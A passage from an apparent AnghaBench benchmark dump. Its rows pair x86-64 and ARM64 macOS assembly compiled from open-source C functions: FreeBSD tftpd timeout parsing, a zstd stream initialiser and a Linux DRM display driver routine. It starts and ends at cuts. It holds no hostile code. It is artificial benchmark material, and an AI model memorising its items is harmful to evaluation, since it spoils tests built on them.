ldr x22, [x22, _OPT_TIMEOUT@GOTPAGEOFF]
ldr x9, [x22]
add x8, x8, x9, lsl #4
ldr x20, [x8, #8]
cbz x20, LBB0_6
; %bb.1:
mov x19, x0
mov x0, x20
bl _atoi
; kill: def $w0 killed $w0 def $x0
Lloh4:
adrp x8, _TIMEOUT_MIN@GOTPAGE
Lloh5:
ldr x8, [x8, _TIMEOUT_MIN@GOTPAGEOFF]
Lloh6:
ldr w2, [x8]
Lloh7:
adrp x8, _TIMEOUT_MAX@GOTPAGE
Lloh8:
ldr x8, [x8, _TIMEOUT_MAX@GOTPAGEOFF]
Lloh9:
ldr w9, [x8]
cmp w0, w2
ccmp w0, w9, #0, ge
b.le LBB0_4
; %bb.2:
Lloh10:
adrp x20, _acting_as_client@GOTPAGE
Lloh11:
ldr x20, [x20, _acting_as_client@GOTPAGEOFF]
Lloh12:
adrp x8, _LOG_ERR@GOTPAGE
Lloh13:
ldr x8, [x8, _LOG_ERR@GOTPAGEOFF]
ldr x10, [x20]
Lloh14:
adrp x11, _LOG_WARNING@GOTPAGE
Lloh15:
ldr x11, [x11, _LOG_WARNING@GOTPAGEOFF]
cmp x10, #0
csel x8, x11, x8, eq
ldr w8, [x8]
stp x9, x0, [sp]
Lloh16:
adrp x1, l_.str@PAGE
Lloh17:
add x1, x1, l_.str@PAGEOFF
mov x0, x8
bl _tftp_log
Lloh18:
adrp x8, _EBADOP@GOTPAGE
Lloh19:
ldr x8, [x8, _EBADOP@GOTPAGEOFF]
Lloh20:
ldr w1, [x8]
mov x0, x19
bl _send_error
ldr x8, [x20]
cbz x8, LBB0_8
; %bb.3:
mov w0, #1
b LBB0_7
LBB0_4:
Lloh21:
adrp x19, _timeoutpacket@GOTPAGE
Lloh22:
ldr x19, [x19, _timeoutpacket@GOTPAGEOFF]
str w0, [x19]
mov x0, x20
bl _strdup
ldr x8, [x21]
ldr x9, [x22]
lsl x9, x9, #4
str w0, [x8, x9]
ldr w0, [x19]
Lloh23:
adrp x8, _timeoutnetwork@GOTPAGE
Lloh24:
ldr x8, [x8, _timeoutnetwork@GOTPAGEOFF]
Lloh25:
ldr w1, [x8]
Lloh26:
adrp x8, _maxtimeouts@GOTPAGE
Lloh27:
ldr x8, [x8, _maxtimeouts@GOTPAGEOFF]
Lloh28:
ldr w2, [x8]
bl _settimeouts
Lloh29:
adrp x8, _debug@GOTPAGE
Lloh30:
ldr x8, [x8, _debug@GOTPAGEOFF]
Lloh31:
ldr w8, [x8]
Lloh32:
adrp x9, _DEBUG_OPTIONS@GOTPAGE
Lloh33:
ldr x9, [x9, _DEBUG_OPTIONS@GOTPAGEOFF]
Lloh34:
ldr w9, [x9]
tst w9, w8
b.eq LBB0_6
; %bb.5:
Lloh35:
adrp x8, _LOG_DEBUG@GOTPAGE
Lloh36:
ldr x8, [x8, _LOG_DEBUG@GOTPAGEOFF]
Lloh37:
ldr w0, [x8]
ldr x8, [x21]
ldr x9, [x22]
lsl x9, x9, #4
ldr w2, [x8, x9]
Lloh38:
adrp x1, l_.str.1@PAGE
Lloh39:
add x1, x1, l_.str.1@PAGEOFF
bl _tftp_log
LBB0_6:
mov w0, #0
LBB0_7:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
ret
LBB0_8:
mov w0, #1
bl _exit
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9
.loh AdrpLdrGotLdr Lloh4, Lloh5, Lloh6
.loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20
.loh AdrpAdd Lloh16, Lloh17
.loh AdrpLdrGot Lloh14, Lloh15
.loh AdrpLdrGot Lloh12, Lloh13
.loh AdrpLdrGot Lloh10, Lloh11
.loh AdrpLdrGotLdr Lloh32, Lloh33, Lloh34
.loh AdrpLdrGotLdr Lloh29, Lloh30, Lloh31
.loh AdrpLdrGotLdr Lloh26, Lloh27, Lloh28
.loh AdrpLdrGotLdr Lloh23, Lloh24, Lloh25
.loh AdrpLdrGot Lloh21, Lloh22
.loh AdrpAdd Lloh38, Lloh39
.loh AdrpLdrGotLdr Lloh35, Lloh36, Lloh37
.cfi_endproc
; -- End function
.comm _options,8,3 ; @options
.comm _OPT_TIMEOUT,8,3 ; @OPT_TIMEOUT
.comm _TIMEOUT_MIN,4,2 ; @TIMEOUT_MIN
.comm _TIMEOUT_MAX,4,2 ; @TIMEOUT_MAX
.comm _acting_as_client,8,3 ; @acting_as_client
.comm _LOG_ERR,4,2 ; @LOG_ERR
.comm _LOG_WARNING,4,2 ; @LOG_WARNING
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Received bad value for timeout. Should be between %d and %d, received %d"
.comm _EBADOP,4,2 ; @EBADOP
.comm _timeoutpacket,4,2 ; @timeoutpacket
.comm _timeoutnetwork,4,2 ; @timeoutnetwork
.comm _maxtimeouts,4,2 ; @maxtimeouts
.comm _debug,4,2 ; @debug
.comm _DEBUG_OPTIONS,4,2 ; @DEBUG_OPTIONS
.comm _LOG_DEBUG,4,2 ; @LOG_DEBUG
l_.str.1: ; @.str.1
.asciz "Setting timeout to '%s'"
.subsections_via_symbols
| AnghaBench/freebsd/libexec/tftpd/extr_tftp-options.c_option_timeout.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ZSTDMT_initCStream_usingCDict ## -- Begin function ZSTDMT_initCStream_usingCDict
.p2align 4, 0x90
_ZSTDMT_initCStream_usingCDict: ## @ZSTDMT_initCStream_usingCDict
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $16, %rsp
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
testq %rsi, %rsi
je LBB0_2
## %bb.1:
movq %rcx, %r15
movl %edx, %r12d
movq %rsi, %rbx
movq %rdi, %r14
movq %rsi, %rdi
callq _ZSTD_getCParamsFromCDict
## kill: def $eax killed $eax def $rax
movq _ZSTD_dct_auto@GOTPCREL(%rip), %rcx
movl (%rcx), %ecx
shlq $32, %rax
movl %r12d, %r9d
orq %rax, %r9
movq %r15, (%rsp)
movq %r14, %rdi
xorl %esi, %esi
xorl %edx, %edx
movq %rbx, %r8
callq _ZSTDMT_initCStream_internal
addq $16, %rsp
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
LBB0_2:
movq _dictionary_wrong@GOTPCREL(%rip), %rax
movl (%rax), %edi
addq $16, %rsp
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
jmp _ERROR ## TAILCALL
.cfi_endproc
## -- End function
.comm _dictionary_wrong,4,2 ## @dictionary_wrong
.comm _ZSTD_dct_auto,4,2 ## @ZSTD_dct_auto
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _ZSTDMT_initCStream_usingCDict ; -- Begin function ZSTDMT_initCStream_usingCDict
.p2align 2
_ZSTDMT_initCStream_usingCDict: ; @ZSTDMT_initCStream_usingCDict
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
cbz x1, LBB0_2
; %bb.1:
mov x19, x3
mov x22, x2
mov x20, x1
mov x21, x0
mov x0, x1
bl _ZSTD_getCParamsFromCDict
; kill: def $w0 killed $w0 def $x0
Lloh0:
adrp x8, _ZSTD_dct_auto@GOTPAGE
Lloh1:
ldr x8, [x8, _ZSTD_dct_auto@GOTPAGEOFF]
Lloh2:
ldr w3, [x8]
mov w5, w22
bfi x5, x0, #32, #32
mov x0, x21
mov x1, #0
mov w2, #0
mov x4, x20
mov x6, x19
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _ZSTDMT_initCStream_internal
LBB0_2:
Lloh3:
adrp x8, _dictionary_wrong@GOTPAGE
Lloh4:
ldr x8, [x8, _dictionary_wrong@GOTPAGEOFF]
Lloh5:
ldr w0, [x8]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _ERROR
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.cfi_endproc
; -- End function
.comm _dictionary_wrong,4,2 ; @dictionary_wrong
.comm _ZSTD_dct_auto,4,2 ; @ZSTD_dct_auto
.subsections_via_symbols
| AnghaBench/borg/src/borg/algorithms/zstd/lib/compress/extr_zstdmt_compress.c_ZSTDMT_initCStream_usingCDict.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function dpu_kms_hw_init
_dpu_kms_hw_init: ## @dpu_kms_hw_init
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq _EINVAL@GOTPCREL(%rip), %r13
xorl %ebx, %ebx
subl (%r13), %ebx
testq %rdi, %rdi
je LBB0_1
## %bb.3:
callq _to_dpu_kms
movq 120(%rax), %r15
testq %r15, %r15
je LBB0_4
## %bb.5:
cmpq $0, 32(%r15)
je LBB0_6
## %bb.7:
movq %rax, %r14
movq %rax, %r12
leaq 112(%rax), %rdi
xorl %esi, %esi
callq _atomic_set
movq 8(%r14), %rdi
leaq L_.str.3(%rip), %rdx
movq %rdx, %rsi
callq _msm_ioremap
movq %rax, 40(%r14)
movq %rax, %rdi
callq _IS_ERR
movq 40(%r14), %rsi
testq %rax, %rax
je LBB0_9
## %bb.8:
movq %rsi, %rdi
callq _PTR_ERR
movl %eax, %ebx
leaq L_.str.4(%rip), %rdi
movl %eax, %esi
xorl %eax, %eax
callq _DPU_ERROR
movq $0, 40(%r12)
jmp LBB0_39
LBB0_1:
leaq L_.str(%rip), %rdi
jmp LBB0_2
LBB0_4:
leaq L_.str.1(%rip), %rdi
jmp LBB0_2
LBB0_6:
leaq L_.str.2(%rip), %rdi
LBB0_2:
xorl %eax, %eax
callq _DPU_ERROR
jmp LBB0_40
LBB0_9:
leaq L_.str.5(%rip), %rdi
callq _DRM_DEBUG
movq 8(%r12), %rdi
leaq L_.str.3(%rip), %rsi
callq _dpu_iomap_size
movq %rax, 104(%r12)
movq 8(%r12), %rdi
leaq L_.str.6(%rip), %rdx
movq %rdx, %rsi
callq _msm_ioremap
movq 56(%r12), %rcx
movq _VBIF_RT@GOTPCREL(%rip), %rbx
movq (%rbx), %rdx
movq %rax, (%rcx,%rdx,8)
movq 56(%r12), %rax
movq (%rax,%rdx,8), %rdi
callq _IS_ERR
testq %rax, %rax
je LBB0_11
## %bb.10:
movq 56(%r12), %rax
movq (%rbx), %rcx
movq (%rax,%rcx,8), %rdi
callq _PTR_ERR
movq %rbx, %r14
movl %eax, %ebx
leaq L_.str.7(%rip), %rdi
movl %eax, %esi
xorl %eax, %eax
callq _DPU_ERROR
movq 56(%r12), %rax
movq (%r14), %rcx
movq $0, (%rax,%rcx,8)
jmp LBB0_39
LBB0_11:
movq 8(%r12), %rdi
leaq L_.str.6(%rip), %rsi
callq _dpu_iomap_size
movq 96(%r12), %rcx
movq (%rbx), %rdx
movq %rax, (%rcx,%rdx,8)
movq 8(%r12), %rdi
leaq L_.str.8(%rip), %rdx
movq %rdx, %rsi
callq _msm_ioremap
movq 56(%r12), %rcx
movq _VBIF_NRT@GOTPCREL(%rip), %rbx
movq (%rbx), %rdx
movq %rax, (%rcx,%rdx,8)
movq 56(%r12), %rax
movq (%rax,%rdx,8), %rdi
callq _IS_ERR
testq %rax, %rax
je LBB0_13
## %bb.12:
movq 56(%r12), %rax
movq (%rbx), %rcx
movq $0, (%rax,%rcx,8)
leaq L_.str.9(%rip), %rdi
callq _DPU_DEBUG
jmp LBB0_14
LBB0_13:
movq 8(%r12), %rdi
leaq L_.str.8(%rip), %rsi
callq _dpu_iomap_size
movq 96(%r12), %rcx
movq (%rbx), %rdx
movq %rax, (%rcx,%rdx,8)
LBB0_14:
movq 8(%r12), %rdi
leaq L_.str.10(%rip), %rdx
movq %rdx, %rsi
callq _msm_ioremap
movq %rax, 88(%r12)
movq %rax, %rdi
callq _IS_ERR
testq %rax, %rax
je LBB0_16
## %bb.15:
movq $0, 88(%r12)
leaq L_.str.11(%rip), %rdi
callq _DPU_DEBUG
jmp LBB0_17
LBB0_16:
movq 8(%r12), %rdi
leaq L_.str.10(%rip), %rsi
callq _dpu_iomap_size
movq %rax, 80(%r12)
LBB0_17:
movq 8(%r12), %rdi
callq _pm_runtime_get_sync
movq 40(%r12), %rdi
callq _readl_relaxed
movl %eax, 76(%r12)
leaq L_.str.12(%rip), %rdi
movl %eax, %esi
callq _pr_info
movl 76(%r12), %edi
callq _dpu_hw_catalog_init
movq %rax, 24(%r12)
movq %rax, %rdi
callq _IS_ERR_OR_NULL
testq %rax, %rax
je LBB0_19
## %bb.18:
movq 24(%r12), %rdi
callq _PTR_ERR
xorl %ebx, %ebx
subl (%r13), %ebx
cmpq $0, 24(%r12)
cmovnel %eax, %ebx
leaq L_.str.13(%rip), %rdi
movl %ebx, %esi
xorl %eax, %eax
callq _DPU_ERROR
movq $0, 24(%r12)
jmp LBB0_38
LBB0_19:
movq %r12, %rdi
callq __dpu_kms_mmu_init
testl %eax, %eax
je LBB0_22
## %bb.20:
movl %eax, %ebx
leaq L_.str.14(%rip), %rdi
jmp LBB0_21
LBB0_22:
leaq 72(%r14), %rdi
movq 24(%r12), %rsi
movq 40(%r12), %rdx
callq _dpu_rm_init
testl %eax, %eax
je LBB0_24
## %bb.23:
movl %eax, %ebx
leaq L_.str.15(%rip), %rdi
LBB0_21:
movl %ebx, %esi
xorl %eax, %eax
callq _DPU_ERROR
LBB0_38:
movq 8(%r12), %rdi
callq _pm_runtime_put_sync
LBB0_39:
movq %r12, %rdi
callq __dpu_kms_hw_destroy
LBB0_40:
movl %ebx, %eax
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_24:
movl $1, (%r12)
movq _MDP_TOP@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq 24(%r12), %rdx
movq 40(%r12), %rsi
callq _dpu_hw_mdptop_init
movq %rax, 64(%r12)
movq %rax, %rdi
callq _IS_ERR
testq %rax, %rax
je LBB0_25
## %bb.37:
movq 64(%r12), %rdi
callq _PTR_ERR
movl %eax, %ebx
leaq L_.str.16(%rip), %rdi
movl %eax, %esi
xorl %eax, %eax
callq _DPU_ERROR
movq $0, 64(%r12)
jmp LBB0_38
LBB0_25:
movq 24(%r12), %rdx
cmpl $0, (%rdx)
jle LBB0_30
## %bb.26:
xorl %ecx, %ecx
LBB0_28: ## =>This Inner Loop Header: Depth=1
movq %rcx, -48(%rbp) ## 8-byte Spill
movq 16(%rdx), %rax
movq (%rax,%rcx,8), %rbx
movq 56(%r12), %rax
movq (%rax,%rbx,8), %rsi
movq %rbx, %rdi
callq _dpu_hw_vbif_init
movq 48(%r12), %rcx
movq -48(%rbp), %rdx ## 8-byte Reload
movq %rax, (%rcx,%rdx,8)
movq 48(%r12), %rax
movq %rbx, -56(%rbp) ## 8-byte Spill
movq (%rax,%rbx,8), %rdi
callq _IS_ERR_OR_NULL
testq %rax, %rax
jne LBB0_29
## %bb.27: ## in Loop: Header=BB0_28 Depth=1
movq -48(%rbp), %rcx ## 8-byte Reload
incq %rcx
movq 24(%r12), %rdx
movslq (%rdx), %rax
cmpq %rax, %rcx
jl LBB0_28
LBB0_30:
addq $16, %r14
leaq L_.str.18(%rip), %rsi
movq %r12, %rdi
movq %rdx, %rbx
callq __dpu_kms_get_clk
movq %r14, %rdi
movq %r15, %rsi
movq %rbx, %rdx
movl %eax, %ecx
callq _dpu_core_perf_init
testl %eax, %eax
je LBB0_32
## %bb.31:
movl %eax, %ebx
leaq L_.str.19(%rip), %rdi
jmp LBB0_21
LBB0_29:
movq 48(%r12), %rax
movq -56(%rbp), %r14 ## 8-byte Reload
movq (%rax,%r14,8), %rdi
callq _PTR_ERR
movq 48(%r12), %rcx
xorl %ebx, %ebx
subl (%r13), %ebx
cmpq $0, (%rcx,%r14,8)
cmovnel %eax, %ebx
leaq L_.str.17(%rip), %rdi
movq %r14, %rsi
movl %ebx, %edx
xorl %eax, %eax
callq _DPU_ERROR
movq 48(%r12), %rax
movq $0, (%rax,%r14,8)
jmp LBB0_38
LBB0_32:
movq 24(%r12), %rsi
movq 40(%r12), %rdi
callq _dpu_hw_intr_init
movq %rax, 32(%r12)
movq %rax, %rdi
callq _IS_ERR_OR_NULL
testq %rax, %rax
je LBB0_34
## %bb.33:
movq 32(%r12), %rdi
callq _PTR_ERR
movl %eax, %ebx
leaq L_.str.20(%rip), %rdi
movl %eax, %esi
xorl %eax, %eax
callq _DPU_ERROR
movq $0, 32(%r12)
jmp LBB0_38
LBB0_34:
xorps %xmm0, %xmm0
movups %xmm0, 16(%r15)
movq 24(%r12), %rax
movq 8(%rax), %rax
movl (%rax), %eax
addl %eax, %eax
movl %eax, (%r15)
movabsq $4294971392, %rax ## imm = 0x100001000
movq %rax, 4(%r15)
movq %r12, %rdi
callq __dpu_kms_drm_obj_init
testl %eax, %eax
je LBB0_36
## %bb.35:
movl %eax, %ebx
leaq L_.str.21(%rip), %rdi
movl %eax, %esi
xorl %eax, %eax
callq _DPU_ERROR
movq %r14, %rdi
callq _dpu_core_perf_destroy
jmp LBB0_38
LBB0_36:
movq %r12, %rdi
callq _dpu_vbif_init_memtypes
movq 8(%r12), %rdi
callq _pm_runtime_put_sync
xorl %ebx, %ebx
jmp LBB0_40
.cfi_endproc
## -- End function
.comm _EINVAL,4,2 ## @EINVAL
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "invalid kms\n"
L_.str.1: ## @.str.1
.asciz "invalid device\n"
L_.str.2: ## @.str.2
.asciz "invalid private data\n"
L_.str.3: ## @.str.3
.asciz "mdp"
L_.str.4: ## @.str.4
.asciz "mdp register memory map failed: %d\n"
L_.str.5: ## @.str.5
.asciz "mapped dpu address space @%pK\n"
L_.str.6: ## @.str.6
.asciz "vbif"
.comm _VBIF_RT,8,3 ## @VBIF_RT
L_.str.7: ## @.str.7
.asciz "vbif register memory map failed: %d\n"
L_.str.8: ## @.str.8
.asciz "vbif_nrt"
.comm _VBIF_NRT,8,3 ## @VBIF_NRT
L_.str.9: ## @.str.9
.asciz "VBIF NRT is not defined"
L_.str.10: ## @.str.10
.asciz "regdma"
L_.str.11: ## @.str.11
.asciz "REG_DMA is not defined"
L_.str.12: ## @.str.12
.asciz "dpu hardware revision:0x%x\n"
L_.str.13: ## @.str.13
.asciz "catalog init failed: %d\n"
L_.str.14: ## @.str.14
.asciz "dpu_kms_mmu_init failed: %d\n"
L_.str.15: ## @.str.15
.asciz "rm init failed: %d\n"
.comm _MDP_TOP,4,2 ## @MDP_TOP
L_.str.16: ## @.str.16
.asciz "failed to get hw_mdp: %d\n"
L_.str.17: ## @.str.17
.asciz "failed to init vbif %d: %d\n"
L_.str.18: ## @.str.18
.asciz "core"
L_.str.19: ## @.str.19
.asciz "failed to init perf %d\n"
L_.str.20: ## @.str.20
.asciz "hw_intr init failed: %d\n"
L_.str.21: ## @.str.21
.asciz "modeset init failed: %d\n"
.no_dead_strip _dpu_kms_hw_init
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function dpu_kms_hw_init
lCPI0_0:
.long 4096 ; 0x1000
.long 1 ; 0x1
.section __TEXT,__text,regular,pure_instructions
.p2align 2
_dpu_kms_hw_init: ; @dpu_kms_hw_init
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x26, x25, [sp, #16] ; 16-byte Folded Spill
stp x24, x23, [sp, #32] ; 16-byte Folded Spill
stp x22, x21, [sp, #48] ; 16-byte Folded Spill
stp x20, x19, [sp, #64] ; 16-byte Folded Spill
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
Lloh0:
adrp x23, _EINVAL@GOTPAGE
Lloh1:
ldr x23, [x23, _EINVAL@GOTPAGEOFF]
ldr w8, [x23]
neg w21, w8
cbz x0, LBB0_5
; %bb.1:
bl _to_dpu_kms
ldr x20, [x0, #120]
cbz x20, LBB0_6
; %bb.2:
ldr x8, [x20, #32]
cbz x8, LBB0_7
; %bb.3:
mov x19, x0
add x0, x0, #112
mov w1, #0
bl _atomic_set
ldr x0, [x19, #8]
Lloh2:
adrp x1, l_.str.3@PAGE
Lloh3:
add x1, x1, l_.str.3@PAGEOFF
mov x2, x1
bl _msm_ioremap
str x0, [x19, #40]
bl _IS_ERR
ldr x1, [x19, #40]
cbz x0, LBB0_8
; %bb.4:
mov x0, x1
bl _PTR_ERR
mov x21, x0
str x21, [sp]
Lloh4:
adrp x0, l_.str.4@PAGE
Lloh5:
add x0, x0, l_.str.4@PAGEOFF
bl _DPU_ERROR
str xzr, [x19, #40]
b LBB0_26
LBB0_5:
Lloh6:
adrp x0, l_.str@PAGE
Lloh7:
add x0, x0, l_.str@PAGEOFF
bl _DPU_ERROR
b LBB0_27
LBB0_6:
Lloh8:
adrp x0, l_.str.1@PAGE
Lloh9:
add x0, x0, l_.str.1@PAGEOFF
bl _DPU_ERROR
b LBB0_27
LBB0_7:
Lloh10:
adrp x0, l_.str.2@PAGE
Lloh11:
add x0, x0, l_.str.2@PAGEOFF
bl _DPU_ERROR
b LBB0_27
LBB0_8:
Lloh12:
adrp x0, l_.str.5@PAGE
Lloh13:
add x0, x0, l_.str.5@PAGEOFF
bl _DRM_DEBUG
ldr x0, [x19, #8]
Lloh14:
adrp x1, l_.str.3@PAGE
Lloh15:
add x1, x1, l_.str.3@PAGEOFF
bl _dpu_iomap_size
str x0, [x19, #104]
ldr x0, [x19, #8]
Lloh16:
adrp x1, l_.str.6@PAGE
Lloh17:
add x1, x1, l_.str.6@PAGEOFF
mov x2, x1
bl _msm_ioremap
ldr x8, [x19, #56]
Lloh18:
adrp x22, _VBIF_RT@GOTPAGE
Lloh19:
ldr x22, [x22, _VBIF_RT@GOTPAGEOFF]
ldr x9, [x22]
lsl x9, x9, #3
str x0, [x8, x9]
ldr x8, [x19, #56]
ldr x0, [x8, x9]
bl _IS_ERR
cbz x0, LBB0_10
; %bb.9:
ldr x8, [x19, #56]
ldr x9, [x22]
ldr x0, [x8, x9, lsl #3]
bl _PTR_ERR
mov x21, x0
str x21, [sp]
Lloh20:
adrp x0, l_.str.7@PAGE
Lloh21:
add x0, x0, l_.str.7@PAGEOFF
bl _DPU_ERROR
ldr x8, [x19, #56]
ldr x9, [x22]
str xzr, [x8, x9, lsl #3]
; kill: def $w21 killed $w21 killed $x21 def $x21
b LBB0_26
LBB0_10:
ldr x0, [x19, #8]
Lloh22:
adrp x1, l_.str.6@PAGE
Lloh23:
add x1, x1, l_.str.6@PAGEOFF
bl _dpu_iomap_size
ldr x8, [x19, #96]
ldr x9, [x22]
str x0, [x8, x9, lsl #3]
ldr x0, [x19, #8]
Lloh24:
adrp x1, l_.str.8@PAGE
Lloh25:
add x1, x1, l_.str.8@PAGEOFF
mov x2, x1
bl _msm_ioremap
ldr x8, [x19, #56]
Lloh26:
adrp x21, _VBIF_NRT@GOTPAGE
Lloh27:
ldr x21, [x21, _VBIF_NRT@GOTPAGEOFF]
ldr x9, [x21]
lsl x9, x9, #3
str x0, [x8, x9]
ldr x8, [x19, #56]
ldr x0, [x8, x9]
bl _IS_ERR
cbz x0, LBB0_12
; %bb.11:
ldr x8, [x19, #56]
ldr x9, [x21]
str xzr, [x8, x9, lsl #3]
Lloh28:
adrp x0, l_.str.9@PAGE
Lloh29:
add x0, x0, l_.str.9@PAGEOFF
bl _DPU_DEBUG
b LBB0_13
LBB0_12:
ldr x0, [x19, #8]
Lloh30:
adrp x1, l_.str.8@PAGE
Lloh31:
add x1, x1, l_.str.8@PAGEOFF
bl _dpu_iomap_size
ldr x8, [x19, #96]
ldr x9, [x21]
str x0, [x8, x9, lsl #3]
LBB0_13:
ldr x0, [x19, #8]
Lloh32:
adrp x1, l_.str.10@PAGE
Lloh33:
add x1, x1, l_.str.10@PAGEOFF
mov x2, x1
bl _msm_ioremap
str x0, [x19, #88]
bl _IS_ERR
cbz x0, LBB0_15
; %bb.14:
str xzr, [x19, #88]
Lloh34:
adrp x0, l_.str.11@PAGE
Lloh35:
add x0, x0, l_.str.11@PAGEOFF
bl _DPU_DEBUG
b LBB0_16
LBB0_15:
ldr x0, [x19, #8]
Lloh36:
adrp x1, l_.str.10@PAGE
Lloh37:
add x1, x1, l_.str.10@PAGEOFF
bl _dpu_iomap_size
str x0, [x19, #80]
LBB0_16:
ldr x0, [x19, #8]
bl _pm_runtime_get_sync
ldr x0, [x19, #40]
bl _readl_relaxed
mov x1, x0
str w0, [x19, #76]
Lloh38:
adrp x0, l_.str.12@PAGE
Lloh39:
add x0, x0, l_.str.12@PAGEOFF
bl _pr_info
ldr w0, [x19, #76]
bl _dpu_hw_catalog_init
str x0, [x19, #24]
bl _IS_ERR_OR_NULL
cbz x0, LBB0_18
; %bb.17:
ldr x0, [x19, #24]
bl _PTR_ERR
ldr x8, [x19, #24]
ldr w9, [x23]
cmp x8, #0
csneg w21, w0, w9, ne
str x21, [sp]
Lloh40:
adrp x0, l_.str.13@PAGE
Lloh41:
add x0, x0, l_.str.13@PAGEOFF
bl _DPU_ERROR
str xzr, [x19, #24]
b LBB0_24
LBB0_18:
mov x0, x19
bl __dpu_kms_mmu_init
cbz w0, LBB0_20
; %bb.19:
mov x21, x0
str x21, [sp]
Lloh42:
adrp x0, l_.str.14@PAGE
Lloh43:
add x0, x0, l_.str.14@PAGEOFF
bl _DPU_ERROR
b LBB0_24
LBB0_20:
add x0, x19, #72
ldr x1, [x19, #24]
ldr x2, [x19, #40]
bl _dpu_rm_init
cbz w0, LBB0_22
; %bb.21:
mov x21, x0
str x21, [sp]
Lloh44:
adrp x0, l_.str.15@PAGE
Lloh45:
add x0, x0, l_.str.15@PAGEOFF
bl _DPU_ERROR
b LBB0_24
LBB0_22:
mov w8, #1
str w8, [x19]
Lloh46:
adrp x8, _MDP_TOP@GOTPAGE
Lloh47:
ldr x8, [x8, _MDP_TOP@GOTPAGEOFF]
Lloh48:
ldr w0, [x8]
ldr x1, [x19, #40]
ldr x2, [x19, #24]
bl _dpu_hw_mdptop_init
str x0, [x19, #64]
bl _IS_ERR
cbz x0, LBB0_28
; %bb.23:
ldr x0, [x19, #64]
bl _PTR_ERR
mov x21, x0
str x21, [sp]
Lloh49:
adrp x0, l_.str.16@PAGE
Lloh50:
add x0, x0, l_.str.16@PAGEOFF
bl _DPU_ERROR
str xzr, [x19, #64]
LBB0_24:
; kill: def $w21 killed $w21 killed $x21 def $x21
LBB0_25:
ldr x0, [x19, #8]
bl _pm_runtime_put_sync
LBB0_26:
mov x0, x19
bl __dpu_kms_hw_destroy
LBB0_27:
mov x0, x21
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
ldp x20, x19, [sp, #64] ; 16-byte Folded Reload
ldp x22, x21, [sp, #48] ; 16-byte Folded Reload
ldp x24, x23, [sp, #32] ; 16-byte Folded Reload
ldp x26, x25, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #96
ret
LBB0_28:
ldr x22, [x19, #24]
ldr w8, [x22]
cmp w8, #1
b.lt LBB0_32
; %bb.29:
mov x25, #0
LBB0_30: ; =>This Inner Loop Header: Depth=1
ldr x8, [x22, #16]
lsl x26, x25, #3
ldr x21, [x8, x26]
ldr x8, [x19, #56]
lsl x24, x21, #3
ldr x1, [x8, x24]
mov x0, x21
mov x2, x22
bl _dpu_hw_vbif_init
ldr x8, [x19, #48]
str x0, [x8, x26]
ldr x8, [x19, #48]
ldr x0, [x8, x24]
bl _IS_ERR_OR_NULL
cbnz x0, LBB0_34
; %bb.31: ; in Loop: Header=BB0_30 Depth=1
add x25, x25, #1
ldr x22, [x19, #24]
ldrsw x8, [x22]
cmp x25, x8
b.lt LBB0_30
LBB0_32:
add x21, x19, #16
Lloh51:
adrp x1, l_.str.18@PAGE
Lloh52:
add x1, x1, l_.str.18@PAGEOFF
mov x0, x19
bl __dpu_kms_get_clk
mov x3, x0
